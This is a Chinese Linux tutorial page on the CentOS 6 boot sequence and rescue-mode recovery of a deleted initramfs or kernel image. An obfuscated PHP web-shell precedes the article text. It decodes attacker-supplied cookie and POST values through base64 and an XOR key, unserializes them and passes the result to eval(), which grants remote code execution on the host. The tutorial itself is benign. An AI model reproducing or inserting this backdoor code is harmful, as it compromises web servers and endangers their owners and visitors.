$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} Centos6启动流程详解 | Linux运维部落

Centos6启动流程详解

一、名词解释

POST: Power-On-Self-Test,加电自检,是BIOS功能的一个主要部分。负责完成对CPU、主板、内存、硬盘子系统、显示子系统、串并行接口、键盘、CD-ROM光驱等硬件情况的检测。

BIOS:Basic Input and
Output System
,保存着有关计算机系统最重要的基本输入输出程序,系统信息设置、开机加电自检程序和系统启动自举程序等,为ROM(只读)。

CMOS:互补金属氧化物半导体,保存各项参数的设定,其储存的信息RAM(可读写),按次序查找引导设备,是第一个有引导程序的设备为本次启动设备

MBR:主引导记录(Main
Boot Record
)是位于磁盘最前边的一段引导(Loader)代码。446: bootloader,64: 分区表, 2: 55AA; bootloader:
引导加载器,引导程序

二、启动流程

 第一阶段:

 POST加电自检,加载BIOS的硬件信息,获取第一个启动设备MBR,读取第一个启动设备MBR的引导bootloader加载程序(grub)的启动信息。

下图为MBR引导信息:

       Centos6启动流程详解

       第1.5阶段:

在后续扇区的首部存放有其它引导信息
这些信息能够帮助识别到
boot分区。

       第二阶段:

 发生在boot分区上,通过程序引导找到内核文件/boot/grub

       第三阶段:

 加载启动内核,boot分区的/grub/grub.conf中找到引导根/的驱动,即initramfs-2.6.32-642.el6.x86_64.img(虚拟内存盘[主要用来模拟文件系统]ramdisk),进而加载内核,从而把根/所在分区进行挂载,初次是以只读方式挂载根,然后内核自动启动根下/sbin/init进程,内核最终启动之后再以读写方式挂载根。

       第四阶段:

 启动核心的外挂模块,init执行运行的各个批处理文件(scripts)init执行/etc/rc.d/rc.local

内核启动init进程后会首先运行/etc/rc.d/rc.sysinit脚本读取fstab[含有挂载关系]文件,然后再读取/etc/inittab[运行级别]文件,执行/bin/login程序,等待用户登录,用户登录之后开始以Shell控制主机。

     Centos6启动流程详解

三、Centos6 启动流程图

   Centos6启动流程详解

四、误删恢复

1、打开/boot/目录,保持vmlinuz-2.6.32-642.el6.x86_64(出厂时存在,与硬件相关)文件不动,删除initramfs-2.6.32-642.el6.x86_64.img(安装系统时候制作生成)文件,则不能挂载根/,内核不能完全启动,导致机器打不开。

解决方法:

进入救援模式

切到根:chroot
/mnt/sysimage/

          cd /boot

使用命令生成:mkinitrd
/boot/initramfs-`uname
r[只是为文件命名]`.img  `uname -r`[告诉mkinitrd生成那个版本的内核

cat /boot/grub/grub.conf 检查文件中的内核名称是否与新生成的内核文件一致

最后,退出并重新启动。 

2、如果把vmlinuz-2.6.32-642.el6.x86_64文件破坏了,则机器也打不开。

解决方法:

进入救援模式

方法一:重装内核文件

方法二:挂载光盘,mkdir
/mnt/cdrom
mount /dev/sr0 /mnt/cdrom

        cp
/mnt/cdrom/Packages/kernel-2.6.32-642.el6.x86_64.rpm /mnt/sysimage/root[
由于没切换根,/mnt/sysimage/root为自己的根]

        cd /mnt/sysimage/root

        rpm2cpio
kernel-2.6.32-642.el6.x86_64.rpm |cpio
tv|less 用于查找要解压的文件

        rpm2cpio kernel-2.6.32-642.el6.x86_64.rpm |cpio –id ./boot/
vmlinuz-2.6.32-642.el6.x86_64

        cp
vmlinuz-2.6.32-642.el6.x86_64 /mnt/sysimage/boot/

         退出,重启

方法三:挂载光盘,mkdir
/mnt/cdrom
mount /dev/sr0 /mnt/cdrom

         cd /mnt/cdrom

         cd isolinux   可以查看里面有个vmlinuz文件

         cp /mnt/cdrom/isolinux/vmlinuz
/mnt/sysimage/boot/ vmlinuz-2.6.32-642.el6.x86_64

         chroot /mnt/sysimage

         ls /boot ;cat
/boot/grub/grub.conf 
进行文件对比,确保生成文件没问题。 

         退出,重启

原创文章,作者:chenxu@magedu.com,如若转载,请注明出处:http://www.178linux.com/72085

(0)
上一篇 2017-03-28 17:27
下一篇 2017-03-28 21:37

相关推荐

  • ☞LVS

    LVS 概述 LVS工作类型 LVS NAT LVS DR(默认) Direct Routing带来的问题 限制响应模型的内核参数 LVS TUN LVS FULLNAT scheduling-method 静态调度算法 动态调度算法 CentOS 7 中的ipvs组件 安装ipvsadm程序 主要文件 ipvsadm命令 配置集群服务 NAT方法示例 DR…

    Linux干货 2016-10-26
  • ​N25第三周作业

    第三周 一、列出当前系统上所有已经登录的用户的用户名,注意:同一个用户登录多次,则只显示一次即可。 [root@zf ~]# who | cut -d " " -f1  | sort | uniq -…

    Linux干货 2016-12-14
  • psql: undefined symbol: PQconnectdbParams 已解决

    操作PostgreSQL的过程中,在执行psql的时候,遇到了如下错误:  /path/to/postgresql/bin/psql: symbol lookup error: /usr/pgsql-9.2/bin/psql: undefined symbol: PQconnectdbParams 整理后发现是,PostgreSQL的动态链接库没有…

    Linux干货 2015-03-08
  • 分区管理和文件系统

    管理分区:        lsblk           列出块设备        fdisk          创建MBR 分区      &nbs…

    Linux干货 2017-03-11
  • Mysql备份II

    Mysql备份II V.II.I单台或共用机器,数据量和访问量小50G< 1 Mysqldump(全导出,导库,导表) 锁表 如果这时有些入会锁住或者超时 2 至少停止写入 防止innodb配置还没刷到磁盘里 先flash tables /usr/local/mysql/bin/mysqladmin -S /tmp/mysql.so…

    Linux干货 2016-06-09
  • openssl基础应用

    参考http://www.178linux.com/2704 http://www.williamlong.info/archives/837.html 一、前言 什么是openssl?讲openssl之前我们先了解下什么是ssl?ssl是secure socket layer的简称,其使用对称加密解密,非对称加密解密(公钥加密解密),单向加密解密结合证书实…

    Linux干货 2015-09-27